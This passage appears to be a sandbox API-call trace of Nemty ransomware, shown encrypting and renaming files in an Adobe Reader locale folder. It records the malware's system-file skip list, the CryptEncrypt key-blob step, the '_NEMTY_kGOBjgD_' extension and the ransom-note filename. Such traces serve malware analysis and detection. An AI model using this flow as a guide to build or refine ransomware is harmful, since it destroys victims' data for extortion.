(lpString1="updater.DAN", lpString2="bootmgr") returned 1 [0174.895] lstrcmpiW (lpString1="updater.DAN", lpString2="programdata") returned 1 [0174.895] lstrcmpiW (lpString1="updater.DAN", lpString2="appdata") returned 1 [0174.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DAN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.DAN", lpUsedDefaultChar=0x0) returned 11 [0174.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DAN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.DAN", lpUsedDefaultChar=0x0) returned 11 [0174.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DAN", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.DAN", lpUsedDefaultChar=0x0) returned 11 [0174.895] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.895] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.895] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.896] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.DAN", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.DAN", lpUsedDefaultChar=0x0) returned 11 [0174.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.896] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.896] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.896] Sleep (dwMilliseconds=0x5) [0174.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1be5fd30, dwHighDateTime=0x1d561e8)) [0174.905] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1be5fd30, dwHighDateTime=0x1d561e8)) [0174.905] GetLastError () returned 0x0 [0174.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.905] GetLastError () returned 0x0 [0174.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.905] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.905] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.905] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.905] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Z8i0Zo0AyDZ9z/kjWPSXbC7jR4rRnM8k0vxqTte2LSskA6zHqxVo4cFeZvUobERp\r\nFwUk97b1jGru1kQLH45n0NFdpd+RbsZ6HAv/UdQSGwp5+u3R9ohMtGTp7Brs7m54\r\nYtHS3yaZ2CPUm9kJu55CkwOQl1bcC65DLs/Pu4guwR78NmEYHFkKIICulv+frTn5\r\nBB26hY9C9Csxxe1JyhDa/ZKh9jNZefK0NeeI6L5o3e6MyoDuoQa9m/MEDG6zWetA\r\nq7TVEltTUCV+qOx7L3ZnLxPolKllPVQ4dMtBPacfuOJ9UT48qevKaGNupJMqKX2d\r\nu0Oor95BAcAs9jWKkM+dPw==\r\n", pcchString=0x653e5dc) returned 1 [0174.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.906] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\updater.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\updater.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.906] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0174.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0174.907] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.907] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0174.909] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.909] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0174.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.909] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0174.909] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.909] CloseHandle (hObject=0x2e8) returned 1 [0174.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.909] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.909] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\updater.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\updater.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\updater.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\updater.dan._nemty_kgobjgd_")) returned 1 [0174.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.910] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Weblink.DAN", cAlternateFileName="")) returned 1 [0174.910] lstrcmpiW (lpString1="Weblink.DAN", lpString2=".") returned 1 [0174.910] lstrcmpiW (lpString1="Weblink.DAN", lpString2="..") returned 1 [0174.910] lstrcmpiW (lpString1="Weblink.DAN", lpString2="...") returned 1 [0174.910] lstrcmpiW (lpString1="Weblink.DAN", lpString2="windows") returned -1 [0174.910] lstrcmpiW (lpString1="Weblink.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.910] lstrcmpiW (lpString1="Weblink.DAN", lpString2="rsa") returned 1 [0174.910] lstrcmpiW (lpString1="Weblink.DAN", lpString2="NTDETECT.COM") returned 1 [0174.910] lstrcmpiW (lpString1="Weblink.DAN", lpString2="ntldr") returned 1 [0174.910] lstrcmpiW (lpString1="Weblink.DAN", lpString2="MSDOS.SYS") returned 1 [0174.910] lstrcmpiW (lpString1="Weblink.DAN", lpString2="IO.SYS") returned 1 [0174.910] lstrcmpiW (lpString1="Weblink.DAN", lpString2="boot.ini") returned 1 [0174.910] lstrcmpiW (lpString1="Weblink.DAN", lpString2="boot.ini") returned 1 [0174.910] lstrcmpiW (lpString1="Weblink.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.910] lstrcmpiW (lpString1="Weblink.DAN", lpString2="ntuser.dat") returned 1 [0174.911] lstrcmpiW (lpString1="Weblink.DAN", lpString2="desktop.ini") returned 1 [0174.911] lstrcmpiW (lpString1="Weblink.DAN", lpString2="CONFIG.SYS") returned 1 [0174.911] lstrcmpiW (lpString1="Weblink.DAN", lpString2="RECYCLER") returned 1 [0174.911] lstrcmpiW (lpString1="Weblink.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.911] lstrcmpiW (lpString1="Weblink.DAN", lpString2="bootmgr") returned 1 [0174.911] lstrcmpiW (lpString1="Weblink.DAN", lpString2="programdata") returned 1 [0174.911] lstrcmpiW (lpString1="Weblink.DAN", lpString2="appdata") returned 1 [0174.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DAN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.DAN", lpUsedDefaultChar=0x0) returned 11 [0174.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DAN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.DAN", lpUsedDefaultChar=0x0) returned 11 [0174.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DAN", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.DAN", lpUsedDefaultChar=0x0) returned 11 [0174.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DAN", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.DAN", lpUsedDefaultChar=0x0) returned 11 [0174.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.911] Sleep (dwMilliseconds=0x5) [0174.921] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1be85e90, dwHighDateTime=0x1d561e8)) [0174.921] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1be85e90, dwHighDateTime=0x1d561e8)) [0174.921] GetLastError () returned 0x0 [0174.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.921] GetLastError () returned 0x0 [0174.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.921] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.921] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.921] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.921] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="mMvRzYuBulDmUZMV6dcPD2UxtUeBEG8LhgCzttDW2bzJOhKesBvlwvwZsH+SvqUl\r\nLZ/fCik/lHMrt6ytjdhargBD3MqgyN/QiIBA/ObLrjivbCBzi0HJUfpY6XQgw1nj\r\nx5qWjB31JQ6ZlL0MtCWMIXz+YXOnnjQ/S/puXHKNfA2i68KM9b7W38y2q5uNI+NM\r\nWPax20oY/KhzVV49fUEgTR0pICwNGr7EIoqBUOuEqcWbbzPGRDOLQ4Y4eZy+SozL\r\nubxYV8vS+JAwzmLNRsl4nbcdkzcFtvR+Tsmn8wt1XXKLNRR01Cbum9hNsY5CIrbU\r\nQ/H4cb6J3MLJ87QDlMS8YQ==\r\n", pcchString=0x653e5dc) returned 1 [0174.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.921] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Weblink.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\weblink.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.922] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28160) returned 1 [0174.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e00) returned 0x6352c48 [0174.922] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.922] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e00, lpOverlapped=0x0) returned 1 [0174.925] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.925] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e00, lpOverlapped=0x0) returned 1 [0174.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.925] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00 [0174.925] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.925] CloseHandle (hObject=0x2e8) returned 1 [0174.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.925] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.925] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.925] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Weblink.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\weblink.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Weblink.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\weblink.dan._nemty_kgobjgd_")) returned 1 [0174.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.926] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba356b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ba356b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ba356b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0174.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0174.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0174.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0174.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0174.926] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0174.926] 